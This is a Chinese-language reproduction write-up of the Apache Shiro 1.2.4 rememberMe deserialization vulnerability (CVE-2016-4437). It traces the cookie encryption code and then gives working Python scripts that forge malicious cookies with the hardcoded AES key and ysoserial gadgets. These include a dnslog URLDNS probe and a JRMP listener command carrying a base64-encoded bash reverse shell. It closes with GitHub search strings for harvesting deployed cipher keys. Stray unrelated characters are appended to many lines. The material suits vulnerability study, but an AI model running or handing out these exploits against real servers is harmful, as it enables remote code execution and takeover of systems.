1. 環(huán)境搭建
可以按照網(wǎng)上的教程git后修改xml沙咏,或者直接下載已經(jīng)配置好的samples-web-1.2.4.war迟蜜,可參考的鏈接為https://github.com/damit5/damit5.github.io/raw/master/2019/09/26/Apache-Shiro-RememberMe-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%A4%8D%E7%8E%B0/samples-web-1.2.4.war西剥,將該war包放入tomcat/webapps目錄下笨篷,然后在瀏覽器中http://localhost:8080/samples-web-1.2.4直接訪問斩个。如果要進行代碼查看和動態(tài)調(diào)試书妻,將該war包用IDEA打開,mvn自動構(gòu)建商源。配置項目的tomcat并添加war包车份。
2. 漏洞分析
Apache Shiro反序列化漏洞編號CVE-2016-4437谋减,漏洞特征是rememberMe牡彻,存在版本Apache Shiro <= 1.2.4。
Apache Shiro默認使用了CookieRememberMeManager出爹,其處理cookie的流程是:得到rememberMe的cookie值 > Base64解碼–>AES解密(硬編碼)–>反序列化庄吼。
(1)RemeberMe加密過程
首先跟進下RememberMe值的加密過程,在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin
下個斷點严就,然后點擊debug開啟tomcat服務(wù)总寻。在web端登錄賬戶root/secret,勾選上Remember Me的按鈕梢为,程序從斷點處開始調(diào)試渐行。
首先調(diào)用forgetIdentity構(gòu)造方法處理request和responese請求(加入cookie)->(如果勾選了rememberme選項,if(isRememberMe)進入條件)rememberIdentity處理cookie中的rememberme字段->getIdentityToRemember獲取用戶身份root->convertPrincipalsToBytes序列化root轉(zhuǎn)成字節(jié)碼并進行encrypt加密->encrypt()調(diào)用AES加密序列化后的root铸董,其密鑰由getEncryptionCipherKey得到->getEncryptionCipherKey():base64.decode("KPH+bIxk5D2deZiIxcaaaA==")->rememberSerializedIdentity()將序列化后的結(jié)果進行base64加密設(shè)置到cookie中
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
this.rememberIdentity(subject, principals);
}
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals); //序列化principals
if (getCipherService() != null) {
bytes = encrypt(bytes); //加密bytes
}
return bytes;
}
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}
} else {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
String base64 = Base64.encodeToString(serialized);
Cookie template = this.getCookie();
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
}
(2)RememberMe解密過程
將斷點打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity
祟印,然后發(fā)送一個帶有rememberMe Cookie的請求。
getRememberedIdentity->getRememberedPrincipals:getCookie.readValue(),base64.decode提取cookie進行base64解碼->convertBytesToPrincipals進行ASE解密并反序列化
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException var4) {
principals = this.onRememberedPrincipalFailure(var4, subjectContext);
}
return principals;
}
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if(log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
} else {
WebSubjectContext wsc = (WebSubjectContext)subjectContext;
if (this.isIdentityRemoved(wsc)) {
return null;
} else {
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response);
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
return null;
}
}
}
}
public String readValue(HttpServletRequest request, HttpServletResponse ignored) {
String name = this.getName();
String value = null;
javax.servlet.http.Cookie cookie = getCookie(request, name);
if (cookie != null) {
value = cookie.getValue();
log.debug("Found '{}' cookie value [{}]", name, value);
} else {
log.trace("No '{}' cookie value", name);
}
return value;
}
private static javax.servlet.http.Cookie getCookie(HttpServletRequest request, String cookieName) {
javax.servlet.http.Cookie[] cookies = request.getCookies();
if (cookies != null) {
javax.servlet.http.Cookie[] arr$ = cookies;
int len$ = cookies.length;
for(int i$ = 0; i$ < len$; ++i$) {
javax.servlet.http.Cookie cookie = arr$[i$];
if (cookie.getName().equals(cookieName)) {
return cookie;
}
}
}
return null;
}
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}
return this.deserialize(bytes);
}
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}
}
}
3. 漏洞利用
根據(jù)上述對漏洞代碼的分析粟害,梳理整個流程為讀取cookie的rememberMe值蕴忆,base64解碼,AES解密并進行反序列化悲幅。由于AES解密的密鑰為常量套鹅,可以手動構(gòu)造rememberMe值并改造其readObject方法站蝠,使得在反序列化時可以任意執(zhí)行操作,從而進行漏洞利用卓鹿。payload參考了網(wǎng)上其他師傅的菱魔。
3.1 cookie生成
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'D:\\payload\\ysoserial-master.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("shrio_payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
根據(jù)實驗可知此漏洞攻擊時無回顯,那么可以通過dnslog平臺吟孙,使用ysoserial的URLDNS Gadget來檢測豌习。這種檢測也可以解決系統(tǒng)環(huán)境復(fù)雜的問題。但是這里要注意解析會有ttl值緩存拔疚,檢測時建議每次隨機生成一個子域名肥隆。
3.2 URLDNS
#!/usr/bin/env python3
# coding:utf-8
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64
target = "http://localhost:8080/samples_web_1_2_4_war/"
jar_file = 'D:\\payload\\ysoserial-master.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://or4qfr.dnslog.cn"],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
try:
r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
traceback.print_exc()
如果成功檢測到dns請求,說明命令執(zhí)行成功稚失。如圖所示:
3.3 JRMP
生成cookie的腳本如下栋艳,使用時參數(shù)傳入ip:port。
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'D:\\payload\\ysoserial-master.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
然后開啟攻擊機監(jiān)聽命令句各,因為此源碼的war包中包含的Commons-Collections4吸占,所以采用ysoserial中對應(yīng)的payload版本,CommonsCollections2凿宾,參數(shù)傳入反彈shell矾屯,以linux下的bash命令為例。http://www.jackson-t.ca/runtime-exec-payloads.html并在此網(wǎng)站下轉(zhuǎn)換bash初厚,其結(jié)果當(dāng)做參數(shù)傳入件蚕。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1699 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40My4zNi4xNTEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"
burp中發(fā)送生成的cookie,并監(jiān)聽bash所用的端口产禾,連接shell排作。
3.4 key收集
另外在攻擊時無法確定Key是否被修改⊙乔椋可以通過網(wǎng)絡(luò)收集來獲取key妄痪,例如通過github搜索關(guān)鍵詞或文件路徑:
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
WEB-INF/shiro.ini
ShiroConfig.java
參考資料
常用搜索方法:
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/
相關(guān)分析:
https://paper.seebug.org/shiro-rememberme-1-2-4/
報錯分析:
https://blog.zsxsoft.com/post/35